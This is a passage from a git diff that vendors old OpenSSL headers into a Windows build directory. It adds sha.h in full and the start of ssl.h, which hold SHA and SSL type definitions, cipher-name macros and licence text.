SKM_ASN1_SET_OF_d2i(X509_NAME_ENTRY, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_X509_NAME_ENTRY(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(X509_NAME_ENTRY, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_X509_NAME_ENTRY(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(X509_NAME_ENTRY, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_X509_NAME_ENTRY(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(X509_NAME_ENTRY, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_X509_REVOKED(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(X509_REVOKED, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_X509_REVOKED(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(X509_REVOKED, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_X509_REVOKED(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(X509_REVOKED, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_X509_REVOKED(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(X509_REVOKED, (buf), (len), (d2i_func), (free_func)) + +#define PKCS12_decrypt_d2i_PKCS12_SAFEBAG(algor, d2i_func, free_func, pass, passlen, oct, seq) \ + SKM_PKCS12_decrypt_d2i(PKCS12_SAFEBAG, (algor), (d2i_func), (free_func), (pass), (passlen), (oct), (seq)) + +#define PKCS12_decrypt_d2i_PKCS7(algor, d2i_func, free_func, pass, passlen, oct, seq) \ + SKM_PKCS12_decrypt_d2i(PKCS7, (algor), (d2i_func), (free_func), (pass), (passlen), (oct), (seq)) +/* End of util/mkstack.pl block, you may now edit :-) */ + +#endif /* !defined HEADER_SAFESTACK_H */ diff --git a/winstuff/openssl/sha.h b/winstuff/openssl/sha.h new file mode 100644 index 0000000..dc5f0fe --- /dev/null +++ b/winstuff/openssl/sha.h @@ -0,0 +1,204 @@ +/* crypto/sha/sha.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_SHA_H +#define HEADER_SHA_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#if defined(OPENSSL_NO_SHA) || (defined(OPENSSL_NO_SHA0) && defined(OPENSSL_NO_SHA1)) +#error SHA is disabled. +#endif + +#if defined(OPENSSL_FIPS) +#define FIPS_SHA_SIZE_T size_t +#endif + +/* + * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + * ! SHA_LONG has to be at least 32 bits wide. If it's wider, then ! + * ! SHA_LONG_LOG2 has to be defined along. ! + * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + */ + +#if defined(OPENSSL_SYS_WIN16) || defined(__LP32__) +#define SHA_LONG unsigned long +#elif defined(OPENSSL_SYS_CRAY) || defined(__ILP64__) +#define SHA_LONG unsigned long +#define SHA_LONG_LOG2 3 +#else +#define SHA_LONG unsigned int +#endif + +#define SHA_LBLOCK 16 +#define SHA_CBLOCK (SHA_LBLOCK*4) /* SHA treats input data as a + * contiguous array of 32 bit + * wide big-endian values. */ +#define SHA_LAST_BLOCK (SHA_CBLOCK-8) +#define SHA_DIGEST_LENGTH 20 + +typedef struct SHAstate_st + { + SHA_LONG h0,h1,h2,h3,h4; + SHA_LONG Nl,Nh; + SHA_LONG data[SHA_LBLOCK]; + unsigned int num; + } SHA_CTX; + +#ifndef OPENSSL_NO_SHA0 +#ifdef OPENSSL_FIPS +int private_SHA_Init(SHA_CTX *c); +#endif +int SHA_Init(SHA_CTX *c); +int SHA_Update(SHA_CTX *c, const void *data, size_t len); +int SHA_Final(unsigned char *md, SHA_CTX *c); +unsigned char *SHA(const unsigned char *d, size_t n, unsigned char *md); +void SHA_Transform(SHA_CTX *c, const unsigned char *data); +#endif +#ifndef OPENSSL_NO_SHA1 +int SHA1_Init(SHA_CTX *c); +int SHA1_Update(SHA_CTX *c, const void *data, size_t len); +int SHA1_Final(unsigned char *md, SHA_CTX *c); +unsigned char *SHA1(const unsigned char *d, size_t n, unsigned char *md); +void SHA1_Transform(SHA_CTX *c, const unsigned char *data); +#endif + +#define SHA256_CBLOCK (SHA_LBLOCK*4) /* SHA-256 treats input data as a + * contiguous array of 32 bit + * wide big-endian values. */ +#define SHA224_DIGEST_LENGTH 28 +#define SHA256_DIGEST_LENGTH 32 + +typedef struct SHA256state_st + { + SHA_LONG h[8]; + SHA_LONG Nl,Nh; + SHA_LONG data[SHA_LBLOCK]; + unsigned int num,md_len; + } SHA256_CTX; + +#ifndef OPENSSL_NO_SHA256 +int SHA224_Init(SHA256_CTX *c); +int SHA224_Update(SHA256_CTX *c, const void *data, size_t len); +int SHA224_Final(unsigned char *md, SHA256_CTX *c); +unsigned char *SHA224(const unsigned char *d, size_t n,unsigned char *md); +int SHA256_Init(SHA256_CTX *c); +int SHA256_Update(SHA256_CTX *c, const void *data, size_t len); +int SHA256_Final(unsigned char *md, SHA256_CTX *c); +unsigned char *SHA256(const unsigned char *d, size_t n,unsigned char *md); +void SHA256_Transform(SHA256_CTX *c, const unsigned char *data); +#endif + +#define SHA384_DIGEST_LENGTH 48 +#define SHA512_DIGEST_LENGTH 64 + +#ifndef OPENSSL_NO_SHA512 +/* + * Unlike 32-bit digest algorithms, SHA-512 *relies* on SHA_LONG64 + * being exactly 64-bit wide. See Implementation Notes in sha512.c + * for further details. + */ +#define SHA512_CBLOCK (SHA_LBLOCK*8) /* SHA-512 treats input data as a + * contiguous array of 64 bit + * wide big-endian values. */ +#if (defined(_WIN32) || defined(_WIN64)) && !defined(__MINGW32__) +#define SHA_LONG64 unsigned __int64 +#define U64(C) C##UI64 +#elif defined(__arch64__) +#define SHA_LONG64 unsigned long +#define U64(C) C##UL +#else +#define SHA_LONG64 unsigned long long +#define U64(C) C##ULL +#endif + +typedef struct SHA512state_st + { + SHA_LONG64 h[8]; + SHA_LONG64 Nl,Nh; + union { + SHA_LONG64 d[SHA_LBLOCK]; + unsigned char p[SHA512_CBLOCK]; + } u; + unsigned int num,md_len; + } SHA512_CTX; +#endif + +#ifndef OPENSSL_NO_SHA512 +int SHA384_Init(SHA512_CTX *c); +int SHA384_Update(SHA512_CTX *c, const void *data, size_t len); +int SHA384_Final(unsigned char *md, SHA512_CTX *c); +unsigned char *SHA384(const unsigned char *d, size_t n,unsigned char *md); +int SHA512_Init(SHA512_CTX *c); +int SHA512_Update(SHA512_CTX *c, const void *data, size_t len); +int SHA512_Final(unsigned char *md, SHA512_CTX *c); +unsigned char *SHA512(const unsigned char *d, size_t n,unsigned char *md); +void SHA512_Transform(SHA512_CTX *c, const unsigned char *data); +#endif + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/ssl.h b/winstuff/openssl/ssl.h new file mode 100644 index 0000000..ff8a128 --- /dev/null +++ b/winstuff/openssl/ssl.h @@ -0,0 +1,2075 @@ +/* ssl/ssl.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ +/* ==================================================================== + * Copyright (c) 1998-2001 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +/* ==================================================================== + * Copyright (c) 1998-2006 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +/* ==================================================================== + * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED. + * ECC cipher suite support in OpenSSL originally developed by + * SUN MICROSYSTEMS, INC., and contributed to the OpenSSL project. + */ + +#ifndef HEADER_SSL_H +#define HEADER_SSL_H + +#include + +#ifndef OPENSSL_NO_COMP +#include +#endif +#ifndef OPENSSL_NO_BIO +#include +#endif +#ifndef OPENSSL_NO_DEPRECATED +#ifndef OPENSSL_NO_X509 +#include +#endif +#include +#include +#include +#endif +#include +#include + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* SSLeay version number for ASN.1 encoding of the session information */ +/* Version 0 - initial version + * Version 1 - added the optional peer certificate + */ +#define SSL_SESSION_ASN1_VERSION 0x0001 + +/* text strings for the ciphers */ +#define SSL_TXT_NULL_WITH_MD5 SSL2_TXT_NULL_WITH_MD5 +#define SSL_TXT_RC4_128_WITH_MD5 SSL2_TXT_RC4_128_WITH_MD5 +#define SSL_TXT_RC4_128_EXPORT40_WITH_MD5 SSL2_TXT_RC4_128_EXPORT40_WITH_MD5 +#define SSL_TXT_RC2_128_CBC_WITH_MD5 SSL2_TXT_RC2_128_CBC_WITH_MD5 +#define SSL_TXT_RC2_128_CBC_EXPORT40_WITH_MD5 SSL2_TXT_RC2_128_CBC_EXPORT40_WITH_MD5 +#define SSL_TXT_IDEA_128_CBC_WITH_MD5 SSL2_TXT_IDEA_128_CBC_WITH_MD5 +#define SSL_TXT_DES_64_CBC_WITH_MD5 SSL2_TXT_DES_64_CBC_WITH_MD5 +#define SSL_TXT_DES_64_CBC_WITH_SHA SSL2_TXT_DES_64_CBC_WITH_SHA +#define SSL_TXT_DES_192_EDE3_CBC_WITH_MD5 SSL2_TXT_DES_192_EDE3_CBC_WITH_MD5 +#define SSL_TXT_DES_192_EDE3_CBC_WITH_SHA SSL2_TXT_DES_192_EDE3_CBC_WITH_SHA + +/* VRS Additional Kerberos5 entries + */ +#define SSL_TXT_KRB5_DES_64_CBC_SHA SSL3_TXT_KRB5_DES_64_CBC_SHA +#define SSL_TXT_KRB5_DES_192_CBC3_SHA SSL3_TXT_KRB5_DES_192_CBC3_SHA +#define SSL_TXT_KRB5_RC4_128_SHA SSL3_TXT_KRB5_RC4_128_SHA +#define SSL_TXT_KRB5_IDEA_128_CBC_SHA SSL3_TXT_KRB5_IDEA_128_CBC_SHA +#define SSL_TXT_KRB5_DES_64_CBC_MD5 SSL3_TXT_KRB5_DES_64_CBC_MD5 +#define SSL_TXT_KRB5_DES_192_CBC3_MD5 SSL3_TXT_KRB5_DES_192_CBC3_MD5 +#define SSL_TXT_KRB5_RC4_128_MD5 SSL3_TXT_KRB5_RC4_128_MD5 +#define SSL_TXT_KRB5_IDEA_128_CBC_MD5 SSL3_TXT_KRB5_IDEA_128_CBC_MD5 + +#define SSL_TXT_KRB5_DES_40_CBC_SHA SSL3_TXT_KRB5_DES_40_CBC_SHA +#define SSL_TXT_KRB5_RC2_40_CBC_SHA SSL3_TXT_KRB5_RC2_40_CBC_SHA +#define SSL_TXT_KRB5_RC4_40_SHA SSL3_TXT_KRB5_RC4_40_SHA +#define SSL_TXT_KRB5_DES_40_CBC_MD5 SSL3_TXT_KRB5_DES_40_CBC_MD5 +#define SSL_TXT_KRB5_RC2_40_CBC_MD5 SSL3_TXT_KRB5_RC2_40_CBC_MD5 +#define SSL_TXT_KRB5_RC4_40_MD5 SSL3_TXT_KRB5_RC4_40_MD5 + +#define SSL_TXT_KRB5_DES_40_CBC_SHA SSL3_TXT_KRB5_DES_40_CBC_SHA +#define SSL_TXT_KRB5_DES_40_CBC_MD5 SSL3_TXT_KRB5_DES_40_CBC_MD5 +#define SSL_TXT_KRB5_DES_64_CBC_SHA SSL3_TXT_KRB5_DES_64_CBC_SHA +#define SSL_TXT_KRB5_DES_64_CBC_MD5 SSL3_TXT_KRB5_DES_64_CBC_MD5 +#define SSL_TXT_KRB5_DES_192_CBC3_SHA SSL3_TXT_KRB5_DES_192_CBC3_SHA +#define SSL_TXT_KRB5_DES_192_CBC3_MD5 SSL3_TXT_KRB5_DES_192_CBC3_MD5 +#define SSL_MAX_KRB5_PRINCIPAL_LENGTH 256 + +#define SSL_MAX_SSL_SESSION_ID_LENGTH 32 +#define SSL_MAX_SID_CTX_LENGTH 32 + +#define SSL_MIN_RSA_MODULUS_LENGTH_IN_BYTES (512/8) +#define SSL_MAX_KEY_ARG_LENGTH 8 +#define SSL_MAX_MASTER_KEY_LENGTH 48 + +/* These are used to specify which ciphers to use and not to use */ +#define SSL_TXT_LOW "LOW" +#define SSL_TXT_MEDIUM "MEDIUM" +#define SSL_TXT_HIGH "HIGH" +#define SSL_TXT_FIPS "FIPS" +#define SSL_TXT_kFZA "kFZA" +#define SSL_TXT_aFZA "aFZA" +#define SSL_TXT_eFZA "eFZA" +#define SSL_TXT_FZA "FZA" + +#define SSL_TXT_aNULL "aNULL" +#define SSL_TXT_eNULL "eNULL" +#define SSL_TXT_NULL "NULL" + +#define SSL_TXT_kKRB5 "kKRB5" +#define SSL_TXT_aKRB5 "aKRB5" +#define SSL_TXT_KRB5 "KRB5" + +#define SSL_TXT_kRSA "kRSA" +#define SSL_TXT_kDHr "kDHr" +#define SSL_TXT_kDHd "kDHd" +#define SSL_TXT_kEDH "kEDH" +#define SSL_TXT_aRSA "aRSA" +#define SSL_TXT_aDSS "aDSS" +#define SSL_TXT_aDH "aDH" +#define SSL_TXT_DSS "DSS" +#define SSL_TXT_DH "DH" +#define SSL_TXT_EDH "EDH" +#define SSL_TXT_ADH "ADH" +#define SSL_TXT_RSA "RSA" +#define SSL_TXT_DES "DES" +#define SSL_TXT_3DES "3DES" +#define SSL_TXT_RC4 "RC4" +#define SSL_TXT_RC2 "RC2" +#define SSL_TXT_IDEA "IDEA" +#define SSL_TXT_SEED "SEED" +#define SSL_TXT_AES "AES" +#define SSL_TXT_CAMELLIA "CAMELLIA" +#define SSL_TXT_MD5 "MD5" +#define SSL_TXT_SHA1 "SHA1" +#define SSL_TXT_SHA "SHA" +#define SSL_TXT_EXP "EXP" +#define SSL_TXT_EXPORT "EXPORT" +#define SSL_TXT_EXP40 "EXPORT40" +#define SSL_TXT_EXP56 "EXPORT56" +#define SSL_TXT_SSLV2 "SSLv2" +#define SSL_TXT_SSLV3 "SSLv3" +#define SSL_TXT_TLSV1 "TLSv1" +#define SSL_TXT_ALL "ALL" +#define SSL_TXT_ECC "ECCdraft" /* ECC ciphersuites are not yet official */ + +/* + * COMPLEMENTOF* definitions. These identifiers are used to (de-select) + * ciphers normally not being used. + * Example: "RC4" will activate all ciphers using RC4 including ciphers + * without authentication, which would normally disabled by DEFAULT (due + * the "!ADH" being part of default). Therefore "RC4:!COMPLEMENTOFDEFAULT" + * will make sure that it is also disabled in the specific selection. + * COMPLEMENTOF* identifiers are portable between version, as adjustments + * to the default cipher setup will also be included here. + * + * COMPLEMENTOFDEFAULT does not experience the same special treatment that + * DEFAULT gets, as only selection is being done and no sorting as needed + * for DEFAULT. + */ +#define SSL_TXT_CMPALL "COMPLEMENTOFALL" +#define SSL_TXT_CMPDEF "COMPLEMENTOFDEFAULT" + +/* The following cipher list is used by default. + * It also is substituted when an application-defined cipher list string + * starts with 'DEFAULT'. */ +#define SSL_DEFAULT_CIPHER_LIST "AES:ALL:!aNULL:!eNULL:+RC4:@STRENGTH" /* low priority for RC4 */ + +/* Used in SSL_set_shutdown()/SSL_get_shutdown(); */ +#define SSL_SENT_SHUTDOWN 1 +#define SSL_RECEIVED_SHUTDOWN 2 + +#ifdef __cplusplus +} +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#if (defined(OPENSSL_NO_RSA) || defined(OPENSSL_NO_MD5)) && !defined(OPENSSL_NO_SSL2) +#define OPENSSL_NO_SSL2 +#endif + +#define SSL_FILETYPE_ASN1 X509_FILETYPE_ASN1 +#define SSL_FILETYPE_PEM X509_FILETYPE_PEM + +/* This is needed to stop compilers complaining about the + * 'struct ssl_st *' function parameters used to prototype callbacks + * in SSL_CTX. */ +typedef struct ssl_st *ssl_crock_st; + +/* used to hold info on the particular ciphers used */ +typedef struct ssl_cipher_st + { + int valid; + const char *name; /* text name */ + unsigned long id; /* id, 4 bytes, first is version */ + unsigned long algorithms; /* what ciphers are used */ + unsigned long algo_strength; /* strength and export flags */ + unsigned long algorithm2; /* Extra flags */ + int strength_bits; /* Number of bits really used */ + int alg_bits; /* Number of bits for algorithm */ + unsigned long mask; /* used for matching */ + unsigned long mask_strength; /* also used for matching */ + } SSL_CIPHER; + +DECLARE_STACK_OF(SSL_CIPHER) + +/* Used to hold functions for SSLv2 or SSLv3/TLSv1 functions */ +typedef struct ssl_method_st + { + int version; + int (*ssl_new)(SSL *s); + void (*ssl_clear)(SSL *s); + void (*ssl_free)(SSL *s); + int (*ssl_accept)(SSL *s); + int (*ssl_connect)(SSL *s); + int (*ssl_read)(SSL *s,void *buf,int len); + int (*ssl_peek)(SSL *s,void *buf,int len); + int (*ssl_write)(SSL *s,const void *buf,int len); + int (*ssl_shutdown)(SSL *s); + int (*ssl_renegotiate)(SSL *s); + int (*ssl_renegotiate_check)(SSL *s); + long (*ssl_get_message)(SSL *s, int st1, int stn, int mt, long + max, int *ok); + int (*ssl_read_bytes)(SSL *s, int type, unsigned char *buf, int len, + int peek); + int (*ssl_write_bytes)(SSL *s, int type, const void *buf_, int len); + int (*ssl_dispatch_alert)(SSL *s); + long (*ssl_ctrl)(SSL *s,int cmd,long larg,void *parg); + long (*ssl_ctx_ctrl)(SSL_CTX *ctx,int cmd,long larg,void *parg); + SSL_CIPHER *(*get_cipher_by_char)(const unsigned char *ptr); + int (*put_cipher_by_char)(const SSL_CIPHER *cipher,unsigned char *ptr); + int (*ssl_pending)(const SSL *s); + int (*num_ciphers)(void); + SSL_CIPHER *(*get_cipher)(unsigned ncipher); + struct ssl_method_st *(*get_ssl_method)(int version); + long (*get_timeout)(void); + struct ssl3_enc_method *ssl3_enc; /* Extra SSLv3/TLS stuff */ + int (*ssl_version)(void); + long (*ssl_callback_ctrl)(SSL *s, int cb_id, void (*fp)(void)); + long (*ssl_ctx_callback_ctrl)(SSL_CTX *s, int cb_id, void (*fp)(void)); + } SSL_METHOD; + +/* Lets make this into an ASN.1 type structure as follows + * SSL_SESSION_ID ::= SEQUENCE { + * version INTEGER, -- structure version number + * SSLversion INTEGER, -- SSL version number + * Cipher OCTET_STRING, -- the 3 byte cipher ID + * Session_ID OCTET_STRING, -- the Session ID + * Master_key OCTET_STRING, -- the master key + * KRB5_principal OCTET_STRING -- optional Kerberos principal + * Key_Arg [ 0 ] IMPLICIT OCTET_STRING, -- the optional Key argument + * Time [ 1 ] EXPLICIT INTEGER, -- optional Start Time + * Timeout [ 2 ] EXPLICIT INTEGER, -- optional Timeout ins seconds + * Peer [ 3 ] EXPLICIT X509, -- optional Peer Certificate + * Session_ID_context [ 4 ] EXPLICIT OCTET_STRING, -- the Session ID context + * Verify_result [ 5 ] EXPLICIT INTEGER -- X509_V_... code for `Peer' + * Compression [6] IMPLICIT ASN1_OBJECT -- compression OID XXXXX + * } + * Look in ssl/ssl_asn1.c for more details + * I'm using EXPLICIT tags so I can read the damn things using asn1parse :-). + */ +typedef struct ssl_session_st + { + int ssl_version; /* what ssl version session info is + * being kept in here? */ + + /* only really used in SSLv2 */ + unsigned int key_arg_length; + unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH]; + int master_key_length; + unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; + /* session_id - valid? */ + unsigned int session_id_length; + unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH]; + /* this is used to determine whether the session is being reused in + * the appropriate context. It is up to the application to set this, + * via SSL_new */ + unsigned int sid_ctx_length; + unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; + +#ifndef OPENSSL_NO_KRB5 + unsigned int krb5_client_princ_len; + unsigned char krb5_client_princ[SSL_MAX_KRB5_PRINCIPAL_LENGTH]; +#endif /* OPENSSL_NO_KRB5 */ + + int not_resumable; + + /* The cert is the certificate used to establish this connection */ + struct sess_cert_st /* SESS_CERT */ *sess_cert; + + /* This is the cert for the other end. + * On clients, it will be the same as sess_cert->peer_key->x509 + * (the latter is not enough as sess_cert is not retained + * in the external representation of sessions, see ssl_asn1.c). */ + X509 *peer; + /* when app_verify_callback accepts a session where the peer's certificate + * is not ok, we must remember the error for session reuse: */ + long verify_result; /* only for servers */ + + int references; + long timeout; + long time; + + int compress_meth; /* Need to lookup the method */ + + SSL_CIPHER *cipher; + unsigned long cipher_id; /* when ASN.1 loaded, this + * needs to be used to load + * the 'cipher' structure */ + + STACK_OF(SSL_CIPHER) *ciphers; /* shared ciphers? */ + + 